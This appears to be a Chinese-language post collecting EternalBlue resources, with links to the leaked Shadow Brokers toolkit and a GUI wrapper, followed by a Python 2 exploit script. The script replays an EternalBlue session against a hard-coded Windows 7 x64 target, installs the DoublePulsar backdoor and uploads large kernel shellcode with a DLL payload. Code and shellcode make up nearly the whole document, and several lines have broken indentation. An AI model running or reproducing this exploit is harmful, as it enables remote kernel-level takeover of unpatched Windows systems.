原始的FB.py

地址:https://github.com/misterch0c/shadowbroker

图形化界面版的

地址1:https://www.t00ls.net/thread-39405-1-1.html

链接:http://pan.baidu.com/s/1dEYJQaH 密码:v5cj

工具vs2017写的,会c++的自己去改吧,工具只是代命令行执行而已

源码:
链接:http://pan.baidu.com/s/1kU51uy7 密码:g44w

安全客上的Python脚本

EternalBlue之win7 64位exploit编写(二) http://bobao.360.cn/learning/detail/4201.html

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import time
import ast
import binascii
import struct

HOST ='192.168.157.130'
PORT = 445
dllfile = "x64_calc.dll"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

def Install_Backdoor():
    backlog = open("eternalblue.replay").read().split("\n\n")
    backlog = [ast.literal_eval(i) for i in backlog]
    connections = []
    start = time.time()
    for i in backlog:
    delta = i[-1] - (start - time.time())
        print(i[0], delta)
        if delta > 0:
            time.sleep(delta)
        start = time.time()
        if i[0] == "connect":
            sock = socket.socket()
            sock.connect((HOST , PORT ))
            connections.append({"socket":sock,"stream" : i[1]})
        if i[0] == "close":
            [j['socket'].close() for j in connections if j["stream"] == i[1]]
        if i[0] == "send":
            [j['socket'].send(i[2]) for j in connections if j["stream"] == i[1]]
        if i[0] == "recv":
            [j['socket'].recv(2048) for j in connections if j['stream'] == i[1]]

def calculate_doublepulsar_xor_key(s):
    """Calaculate Doublepulsar Xor Key
    """
    x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
    x = x & 0xffffffff  # this line was added just to truncate to 32 bits
    return x

def make_unicode_host(org_host):
    host_len = len(org_host)
    new_host = ""
    for i in range(host_len):
        new_host =new_host + "\x00" + org_host[i]
    return new_host

def get_smb_signature(smb_data):
    print binascii.b2a_hex(smb_data[18:22])
    return smb_data[18:22]

    def get_key(smb_data):
    smb_sign = struct.unpack("<I",get_smb_signature(smb_data))[0]
    print "smb_sign:","0x%X"%(smb_sign)
    int_key = calculate_doublepulsar_xor_key(smb_sign)
    print  "int_key:","0x%X"%(int_key)
    key=struct.pack("<I",int_key)
    print "key:",binascii.b2a_hex(key)
    return key

def xor_data(org_data , key):
    #异或加密
    newdata = ""
    for i in range(len(org_data)):
        newdata += chr(ord(org_data[i]) ^ ord(key[i%len(key)]))

    #print binascii.b2a_hex(newdata)
    return newdata 

def make_smb_request(send_data , key):
    data_len = len(send_data)
    array = []
    ncount = data_len / 4096
    if (data_len % 4096) > 0:
        ncount += 1
    make_data =""

    for i in range(ncount):
        if i < ncount-1:
            smb_Length = struct.pack(">H",4096 +32 +34 + 12)
            #print binascii.b2a_hex(smb_Length)
            totalDataCount = struct.pack("<H",4096)
            byteCount = struct.pack("<H",4096 + 13)
            make_data = send_data[i*4096:(i+1)*4096]
        else:
            smb_Length = struct.pack(">H",data_len - 4096*i +32 +34 + 12)
            totalDataCount = struct.pack("<H",data_len - 4096*i)
            byteCount = struct.pack("<H",data_len - 4096*i+ 13)
            make_data = send_data[i*4096:]

        netBIOS_header = "\x00\x00"+ smb_Length
        smb_header = "\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x42\x00"
        transRequest_header = "\x0F\x0C\x00"+ totalDataCount +"\x01\x00\x00\x00\x00\x00\x00\x00\xF0\xCC\x0C\x00\x00\x00\x0C\x00\x42\x00"+totalDataCount+"\x4E\x00\x01\x00\x0E\x00"+ byteCount +"\x00"
        data_index = struct.pack(">H",i*0x10)
        data_header = "\x00\x2C\x00\x00"+totalDataCount+"\x00\x00"+data_index+"\x00\x00"
        #print "data_index:",binascii.b2a_hex(data_index)
        #print "data_header:",binascii.b2a_hex(data_header)
        #print len(data_header)
        array.append(netBIOS_header + smb_header +transRequest_header + xor_data(data_header + make_data,key))
    return array , ncount

if __name__ == "__main__":
    #安装后门
    Install_Backdoor()
    print "------Install backdoor done!------"
    #上传并执行dll

    #smb 头是32字节 请求包50字节 ,以下一行30字节
    #smb版本
    step_0_data ="\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00"
    s.sendall(step_0_data)
    data = s.recv(1024)
    print 0,data
    #windows系统版本
    step_1_data ="\x00\x00\x00\x88\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x00\x40\x00\x0D\xFF\x00\x88\x00\x04\x11\x0A\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xD4\x00\x00\x00\x4B\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00"
    s.sendall(step_1_data)
    data = s.recv(1024)
    print 1,data

    #对方ip地址 x.x.x.x 其中有2个字节与x86的不一致
    str_ip = "\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE\x00\x08\x40\x00\x04\xFF\x00\x5e\x00\x08\x00\x01\x00\x33\x00\x00\x5C\x00\x5C"+ make_unicode_host(HOST)+"\x00\x5C\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00"
    step_2_data ="\x00\x00\x00"+chr(len(str_ip))+ str_ip
    #print binascii.b2a_hex(step_2_data)
    #print step_2_data
    s.sendall(step_2_data)
    data = s.recv(1024)
    print 2,data
    #验证得到signature
    step_3_data ="\x00\x00\x00\x4E\xFF\x53\x4D\x42\x32\x00\x00\x00\x00\x18\x07\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE\x00\x08\x41\x00\x0F\x0C\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1F\x36\xCE\x00\x00\x00\x0C\x00\x42\x00\x00\x00\x4E\x00\x01\x00\x0E\x00\x0D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    s.sendall(step_3_data)
    response = s.recv(1024)
    print 3,response
    print 3,binascii.b2a_hex(response)

    key = get_key(response)
    #shellcode+dll
        kernel_shellcode ="\x48\x89\xE0\x66\x83\xE4\xF0\x41\x57\x41\x56\x41\x55\x41\x54\x53\x51\x52\x55\x57\x56\x50\x50\xE8\xBC\x06\x00\x00\x48\x89\xC3\x48\xB9\xDF\x81\x14\x3E\x00\x00\x00\x00\xE8\x26\x05\x00\x00\x48\x85\xC0\x0F\x84\x55\x03\x00\x00\x48\x89\x05\x9C\x07\x00\x00\x48\xB9\xBA\x1E\x03\xA0\x00\x00\x00\x00\xE8\x07\x05\x00\x00\x48\x85\xC0\x0F\x84\x36\x03\x00\x00\x48\x89\x05\x85\x07\x00\x00\x48\xB9\x84\x06\xE7\xF9\xFF\xFF\xFF\xFF\xE8\xE8\x04\x00\x00\x48\x85\xC0\x0F\x84\x17\x03\x00\x00\x48\x89\x05\x6E\x07\x00\x00\x48\xB9\x4F\xFE\xEB\x15\x00\x00\x00\x00\xE8\xC9\x04\x00\x00\x48\x85\xC0\x0F\x84\xF8\x02\x00\x00\x48\x89\x05\x57\x07\x00\x00\x48\xB9\xF9\x30\xAC\xA4\x00\x00\x00\x00\xE8\xAA\x04\x00\x00\x48\x85\xC0\x0F\x84\xD9\x02\x00\x00\x48\x89\x05\x40\x07\x00\x00\x48\xB9\xCA\xBE\xD0\xEC\x00\x00\x00\x00\xE8\x8B\x04\x00\x00\x48\x85\xC0\x0F\x84\xBA\x02\x00\x00\x48\x89\x05\x29\x07\x00\x00\x48\xB9\xAE\xB8\x9F\x5D\xFF\xFF\xFF\xFF\xE8\x6C\x04\x00\x00\x48\x85\xC0\x0F\x84\x9B\x02\x00\x00\x48\x89\x05\x12\x07\x00\x00\x48\xB9\x94\x01\x69\xE3\xFF\xFF\xFF\xFF\xE8\x4D\x04\x00\x00\x48\x85\xC0\x0F\x84\x7C\x02\x00\x00\x48\x89\x05\xFB\x06\x00\x00\x48\xB9\xF6\x10\x00\xB8\xFF\xFF\xFF\xFF\xE8\x2E\x04\x00\x00\x48\x85\xC0\x0F\x84\x5D\x02\x00\x00\x48\x89\x05\xE4\x06\x00\x00\x48\xB9\xCA\xD6\x5F\xD2\xFF\xFF\xFF\xFF\xE8\x0F\x04\x00\x00\x48\x85\xC0\x0F\x84\x3E\x02\x00\x00\x48\x89\x05\xCD\x06\x00\x00\x48\xB9\x79\xA8\x24\x11\x00\x00\x00\x00\xE8\xF0\x03\x00\x00\x48\x85\xC0\x0F\x84\x1F\x02\x00\x00\x48\x89\x05\xB6\x06\x00\x00\x48\xB9\x37\xC6\x90\x4F\x00\x00\x00\x00\xE8\xD1\x03\x00\x00\x48\x85\xC0\x0F\x84\x00\x02\x00\x00\x48\x89\x05\x9F\x06\x00\x00\x48\xB9\x6C\xE7\xFE\x10\x00\x00\x00\x00\xE8\xB2\x03\x00\x00\x48\x85\xC0\x0F\x84\xE1\x01\x00\x00\x48\x89\x05\x88\x06\x00\x00\xE8\x4F\x03\x00\x00\x8B\x05\x85\x06\x00\x00\x85\xC0\x0F\x84\xC7\x01\x00\x00\xE8\xD9\x01\x00\x00\x48\x85\xC0\x0F\x84\xB9\x01\x00\x00\x4C\x8D\x0D\x94\x06\x00\x00\x41\x8B\x09\x51\x51\x6A\x40\x68\x00\x10\x00\x00\x4D\x31\xC0\x48\x8D\x15\xD2\x05\x00\x00\x48\xB9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x48\x83\xEC\x20\xFF\x15\x06\x06\x00\x00\x48\x83\xC4\x38\x59\x89\x0D\x5F\x06\x00\x00\x48\x85\xC0\x0F\x85\x22\x01\x00\x00\x48\x8D\x35\x57\x06\x00\x00\x48\x8B\x3D\x9C\x05\x00\x00\xF3\xA4\x80\x3D\x2F\x06\x00\x00\x01\x74\x05\xE8\x96\x02\x00\x00\x48\x8B\x35\x4D\x05\x00\x00\x8B\x0D\x0F\x06\x00\x00\x48\x01\xCE\x48\x89\xF1\x44\x8B\x25\x06\x06\x00\x00\x48\x8B\x11\x48\x39\xD6\x0F\x84\xDE\x00\x00\x00\x48\x31\xC0\x8B\x05\xDD\x05\x00\x00\x48\x29\xC2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20\xFF\x15\xC3\x05\x00\x00\x48\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x2E\x4D\x31\xC9\x44\x8B\x0D\xCE\x05\x00\x00\x4A\x8B\x04\x08\x48\x85\xC0\x74\x1B\x4C\x01\xE2\x80\x3D\xBF\x05\x00\x00\x01\x74\x07\x80\x3A\x01\x74\x0F\xEB\x08\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B\x09\xEB\x9B\x4C\x29\xE2\x48\x89\x15\x0B\x05\x00\x00\x48\xBA\x90\x00\x00\x00\x00\x00\x00\x00\x48\x31\xC9\x48\x83\xEC\x40\xFF\x15\x3C\x05\x00\x00\x48\x83\xC4\x40\x48\x85\xC0\x74\x5B\x48\x89\x05\xEC\x04\x00\x00\xC6\x80\x80\x00\x00\x00\xC3\x48\x31\xC9\x51\x6A\x01\xFF\x35\xC9\x04\x00\x00\x51\x4C\x8D\x88\x80\x00\x00\x00\x4D\x31\xC0\x48\x8B\x15\xBF\x04\x00\x00\x48\x89\xC1\x48\x83\xEC\x20\xFF\x15\x02\x05\x00\x00\x48\x83\xC4\x40\x4D\x31\xC9\x4D\x31\xC0\x48\x31\xD2\x48\x8B\x0D\xA6\x04\x00\x00\x48\x83\xEC\x20\xFF\x15\xEC\x04\x00\x00\x48\x83\xC4\x20\x48\x83\xEC\x20\x48\x8D\x0D\x4D\x04\x00\x00\xFF\x15\xAF\x04\x00\x00\x48\x8B\x0D\x38\x04\x00\x00\xFF\x15\xAA\x04\x00\x00\x48\x83\xC4\x20\x48\x31\xC0\x48\x8D\x3D\x9A\xFC\xFF\xFF\x48\xB9\x70\x03\x00\x00\x00\x00\x00\x00\xF3\xAA\x48\x8D\x3D\x2A\x00\x00\x00\x48\xB9\xD3\x04\x00\x00\x00\x00\x00\x00\x48\x03\x0D\xE4\x04\x00\x00\xF3\xAA\x58\x58\x5E\x5F\x5D\x5A\x59\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x48\x89\xC4\x48\x31\xC0\xC3\x53\x56\x51\x52\x48\xB9\x08\x00\x00\x00\x00\x00\x00\x00\x51\x48\x8D\x15\xD1\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x17\x04\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\x48\x8B\x35\xB3\x03\x00\x00\x48\x31\xDB\x8B\x1D\x66\x04\x00\x00\x8B\x04\x1E\x83\xF8\x02\x0F\x8C\xB0\x00\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xE9\x03\x00\x00\x48\x83\xC4\x20\xE8\x57\x02\x00\x00\x8B\x0D\x5A\x04\x00\x00\x39\xC8\x0F\x85\x8C\x00\x00\x00\x48\x8D\x15\x7B\x03\x00\x00\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\xC6\x03\x00\x00\x48\x89\xF1\xFF\x15\xC5\x03\x00\x00\x48\x83\xC4\x20\x48\x85\xC0\x74\x49\x48\x31\xDB\x8B\x1D\x0B\x04\x00\x00\x48\x8B\x04\x18\x48\x85\xC0\x74\x37\x48\x31\xC9\x8B\x1D\xFD\x03\x00\x00\x66\x8B\x0C\x18\x48\x8B\x44\x18\x08\x48\x85\xC0\x74\x20\x48\x31\xDB\x8B\x1D\x02\x04\x00\x00\x48\x29\xD9\x7C\x12\x48\x01\xC8\xE8\x2B\x02\x00\x00\x8B\x0D\xEB\x03\x00\x00\x39\xC8\x74\x3F\x31\xC0\x89\x05\x03\x03\x00\x00\x48\x8D\x0D\x04\x03\x00\x00\x48\x83\xEC\x20\xFF\x15\x62\x03\x00\x00\x48\x83\xC4\x20\x48\x89\xF1\x48\x83\xEC\x20\xFF\x15\x59\x03\x00\x00\x48\x83\xC4\x20\x59\x81\xF9\x00\x00\x01\x00\x7F\x0E\x83\xC1\x04\xE9\xF3\xFE\xFF\xFF\x59\x48\x89\xF0\xEB\x03\x48\x31\xC0\x5A\x59\x5E\x5B\xC3\x48\x8B\x35\xB7\x02\x00\x00\x8B\x0D\x79\x03\x00\x00\x48\x01\xCE\x48\x8B\x16\x8B\x05\x5D\x03\x00\x00\x48\x29\xC2\x48\x31\xC0\x48\xFF\xC8\x48\xC1\xE0\x2C\x48\x8B\x12\x48\x39\xC2\x72\x0B\xB8\xE8\x03\x00\x00\x89\x05\x3D\x03\x00\x00\xC3\x56\x51\x52\x48\x83\xEC\x20\xFF\x15\x1F\x03\x00\x00\x48\x89\xC6\x8B\x05\x36\x03\x00\x00\x48\x01\xC6\xFF\x15\x05\x03\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x17\x48\x8D\x90\x00\x05\x00\x00\x48\x39\xF2\x72\x0B\x48\x29\xC6\x89\x35\x00\x03\x00\x00\xEB\x08\x48\x8B\x36\x48\x39\xCE\x75\xDC\x48\x83\xC4\x20\x5A\x59\x5E\xC3\x53\x52\x51\x55\x48\x89\xE5\x48\x81\xEC\x00\x01\x00\x00\x57\x48\x89\xCF\x48\x89\xD8\x48\x89\x85\x00\xFF\xFF\xFF\xE8\xBB\x00\x00\x00\x48\x89\x85\x08\xFF\xFF\xFF\xE8\x48\x01\x00\x00\x48\x89\x85\x10\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x9A\x01\x00\x00\x48\x89\x85\x18\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x8F\x01\x00\x00\x48\x89\x85\x20\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x08\xFF\xFF\xFF\xE8\x84\x01\x00\x00\x48\x89\x85\x28\xFF\xFF\xFF\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x89\xF9\x48\x8B\x95\x20\xFF\xFF\xFF\x48\x8B\x9D\x10\xFF\xFF\xFF\xE8\x0F\x01\x00\x00\x48\x89\x85\x30\xFF\xFF\xFF\x48\x8B\x85\x28\xFF\xFF\xFF\x48\x8B\x8D\x30\xFF\xFF\xFF\xE8\x55\x01\x00\x00\x66\x89\xC2\x48\x8B\x85\x00\xFF\xFF\xFF\x48\x8B\x8D\x18\xFF\xFF\xFF\xE8\x49\x01\x00\x00\x5F\x48\x81\xC4\x00\x01\x00\x00\x5D\x59\x5A\x5B\xC3\x56\x57\x48\x31\xF6\x8B\x70\x3C\x48\x01\xC6\x66\x81\x3E\x50\x45\x75\x12\x48\x81\xC6\x88\x00\x00\x00\x48\x31\xFF\x8B\x3E\x48\x01\xF8\x5F\x5E\xC3\x48\x31\xC0\xEB\xF8\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x07\x01\xC8\x48\xFF\xC6\xEB\xE7\x5F\x59\x5E\xC3\x56\x57\x52\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xD2\x8A\x16\x01\xD0\x48\xFF\xC6\xE2\xEC\x5A\x5F\x5E\xC3\x56\x51\x57\x48\x89\xC6\x48\x31\xC0\x89\xC7\xC1\xE7\x07\x29\xC7\x89\xF8\x31\xC9\x8A\x0E\x80\xF9\x00\x74\x0A\x01\xC8\x48\xFF\xC6\x48\xFF\xC6\xEB\xE4\x5F\x59\x5E\xC3\x56\x48\x89\xC6\x48\x83\xC6\x18\x48\x31\xC0\x8B\x06\x5E\xC3\x53\x65\x48\x8B\x04\x25\x38\x00\x00\x00\x48\x8B\x40\x04\x48\xC1\xE8\x0C\x48\xC1\xE0\x0C\x48\x8B\x18\x66\x81\xFB\x4D\x5A\x74\x08\x48\x2D\x00\x10\x00\x00\xEB\xEE\x5B\xC3\x57\x56\x51\x48\x31\xFF\x48\x89\xC6\x48\x31\xC0\x8B\x04\xBA\x48\x01\xF0\xE8\x40\xFF\xFF\xFF\x39\xC8\x74\x0E\x48\xFF\xC7\x48\x39\xDF\x74\x0B\xEB\xE4\x59\x5E\x5F\xC3\x48\x89\xF8\xEB\xF7\x48\x31\xC0\xEB\xF2\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x1C\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x20\x48\x01\xF0\x5E\xC3\x56\x48\x89\xC6\x48\x31\xC0\x8B\x41\x24\x48\x01\xF0\x5E\xC3\x48\xD1\xE1\x48\x01\xC8\x66\x8B\x00\xC3\x48\x81\xCA\x00\x00\xFF\xFF\x48\x81\xF2\x00\x00\xFF\xFF\x48\xC1\xE2\x02\x48\x01\xD1\x48\x31\xD2\x8B\x11\x48\x01\xD0\xC3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x03\x00\x00\x20\x00\x00\x00\x70\x00\x00\x00\x08\x03\x00\x00\x4C\x00\x00\x00\xC8\x02\x00\x00\x01\x00\x00\x00\xBD\xA2\x37\x83\x00\x00\x00\x00\x00\x00\x00\x00\x8A\x23\x00\x00\x00\x00\x00\x00\x53\x55\x57\x56\x41\x54\x41\x55\x41\x56\x41\x57\x48\x89\xE0\x48\x89\xE1\x48\x83\xE1\x08\x48\x29\xCC\x48\x81\xEC\x00\x04\x00\x00\xE8\x00\x00\x00\x00\x5D\x48\x89\xE6\x48\x89\x06\x48\x81\xEC\x00\x04\x00\x00\x48\x8D\x3D\xD2\x0E\x00\x00\x49\x89\xF0\x48\x83\xC6\x08\x48\x31\xC9\x8A\x0F\x84\xC9\x74\x3F\x48\xFF\xC7\x8B\x0F\x48\x83\xC7\x04\x8B\x17\x48\x83\xC7\x04\x84\xD2\x74\x2C\xE8\xD4\x0D\x00\x00\x51\x0F\xB6\x0F\x48\x85\xC9\x59\x75\x09\x48\x85\xC0\x0F\x84\xB9\x0D\x00\x00\x48\x89\x06\x48\x83\xC6\x08\x30\xC0\x48\x83\xC7\x01\x3A\x47\x04\x74\xCC\xEB\xB8\x4C\x89\xC6\x48\x89\x25\x3D\x0D\x00\x00\x48\x89\x2D\x3E\x0D\x00\x00\x48\x89\x35\x3F\x0D\x00\x00\x90\xE8\x00\x00\x00\x00\x59\x4D\x31\xC9\x49\x89\xC8\x48\x31\xD2\xB2\x01\x48\x8D\x0D\x2E\x0D\x00\x00\x48\x83\xEC\x20\xFF\x56\x38\x48\x83\xC4\x20\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xB8\x00\x30\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x8B\x95\x5D\x0F\x00\x00\x48\x31\xC9\x48\x83\xEC\x20\xFF\x56\x08\x48\x83\xC4\x20\x48\x85\xC0\x0F\x84\xCF\x0C\x00\x00\x48\x89\xC3\x56\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x35\x80\x0E\x00\x00\x48\x89\xDF\xF3\xA4\x5E\x48\x89\x5E\x48\x48\x31\xC0\x8B\x85\x5D\x0F\x00\x00\x48\x89\x46\x50\x48\x31\xC9\x8B\x8D\x5D\x0F\x00\x00\x48\x8D\x3D\x59\x0E\x00\x00\x31\xC0\xF3\xAA\x48\x31\xC0\x48\x89\x46\x58\x48\x89\x46\x60\x48\x89\x46\x68\x48\x8D\x05\x77\x09\x00\x00\x48\x89\x05\xC4\x02\x00\x00\x48\x8D\x05\x71\x09\x00\x00\x48\x89\x05\xBE\x02\x00\x00\x48\x8D\x05\x78\x09\x00\x00\x48\x89\x05\xB8\x02\x00\x00\x48\x8D\x05\x86\x09\x00\x00\x48\x89\x05\xB2\x02\x00\x00\x48\x8D\x05\xA7\x08\x00\x00\x48\x89\x05\xAC\x02\x00\x00\x55\x48\x8D\x2D\xD6\x01\x00\x00\x48\x8B\x7E\x48\xE8\xA3\x02\x00\x00\x48\x85\xC0\x0F\x85\x13\x01\x00\x00\xE8\x1A\x03\x00\x00\x48\x85\xC0\x0F\x84\x05\x01\x00\x00\x48\x89\x45\x20\x48\x8B\x7D\x08\x48\x83\xC7\x30\x48\x8B\x3F\x48\x8B\x45\x20\x48\x29\xF8\x48\x89\x45\x28\xE8\x64\x03\x00\x00\x48\x85\xC0\x0F\x85\xDD\x00\x00\x00\xE8\xE6\x03\x00\x00\x48\x85\xC0\x0F\x85\xCF\x00\x00\x00\xE8\x4E\x05\x00\x00\x48\x85\xC0\x0F\x85\xC1\x00\x00\x00\xE8\x57\x05\x00\x00\x48\x85\xC0\x0F\x85\xB3\x00\x00\x00\xE8\x57\x06\x00\x00\x48\x85\xC0\x0F\x85\xA5\x00\x00\x00\xE8\xBA\x06\x00\x00\x48\x85\xC0\x0F\x85\x97\x00\x00\x00\xE8\xC6\x07\x00\x00\x48\x85\xC0\x0F\x85\x89\x00\x00\x00\x48\x8B\x45\x20\x48\x89\x46\x70\x48\x8B\x45\x18\x48\x89\x46\x78\x5D\x8B\x85\x61\x0F\x00\x00\x89\x86\x80\x00\x00\x00\x48\x8B\x56\x70\x48\x63\x42\x3C\x48\x8D\x9C\x10\x88\x00\x00\x00\x48\x85\xDB\x74\x48\x8B\x1B\x48\x01\xD3\x83\x7B\x14\x00\x74\x3D\x8B\xBE\x80\x00\x00\x00\x2B\x7B\x10\x3B\x7B\x14\x7F\x2F\x8B\x4B\x1C\x48\x01\xD1\x8B\x04\xB9\x48\x01\xD0\x48\x83\xEC\x20\x4C\x8B\x46\x50\x48\x8B\x56\x48\x48\xB9\x02\x00\x00\x00\x00\x00\x00\x00\xFF\xD0\x48\x83\xC4\x20\x48\x89\x86\x88\x00\x00\x00\x55\x48\x8D\x2D\xB8\x00\x00\x00\xE8\x28\x07\x00\x00\xEB\x00\x48\x8B\x4D\x78\x48\x85\xC9\x74\x0B\x48\x83\xEC\x20\xFF\x56\x40\x48\x83\xC4\x20\x48\x8B\x7D\x20\x48\x85\xFF\x0F\x84\x8A\x00\x00\x00\x4C\x8D\x8D\xAA\x00\x00\x00\x49\xB8\x40\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x55\x50\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x30\x48\x83\xC4\x20\x48\x85\xC0\x74\x09\x48\x8B\x4D\x50\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x20\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x48\x8B\x7D\x60\x48\x85\xFF\x74\x2C\x48\x8B\x4D\x68\x48\x31\xC0\xF3\xAA\x49\xB8\x00\x80\x00\x00\x00\x00\x00\x00\x48\xBA\x00\x00\x00\x00\x00\x00\x00\x00\x48\x8B\x4D\x60\x48\x83\xEC\x20\xFF\x56\x10\x48\x83\xC4\x20\x5D\xE9\x60\x0A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x48\xB8\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE9\x2E\xFC\xFF\xFF\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x6D\x73\x76\x63\x72\x74\x64\x2E\x64\x6C\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x52\x53\x48\x89\x7D\x00\x48\x89\xFA\x48\x83\xC2\x00\x66\x8B\x1A\x66\x81\xFB\x4D\x5A\x75\x63\x48\x89\xFA\x48\x83\xC2\x3C\x48\x31\xDB\x8B\x1A\x48\x01\xDF\x48\x89\x7D\x08\x48\x89\xFA\x48\x83\xC2\x00\x8B\x1A\x81\xFB\x50\x45\x00\x00\x75\x3F\x48\x89\xFA\x48\x83\xC2\x18\x66\x8B\x1A\x66\x81\xFB\x0B\x02\x75\x2E\x48\x89\xFA\x48\x83\xC2\x14\x48\x31\xDB\x66\x8B\x1A\x48\x89\xFA\x48\x83\xC2\x18\x48\x01\xDA\x48\x89\x55\x10\x48\x89\xFA\x48\x81\xC2\x88\x00\x00\x00\x48\x89\x55\x18\x48\x31\xC0\xEB\x06\x48\x31\xC0\x48\xF7\xD0\x5B\x5A\x5F\xC3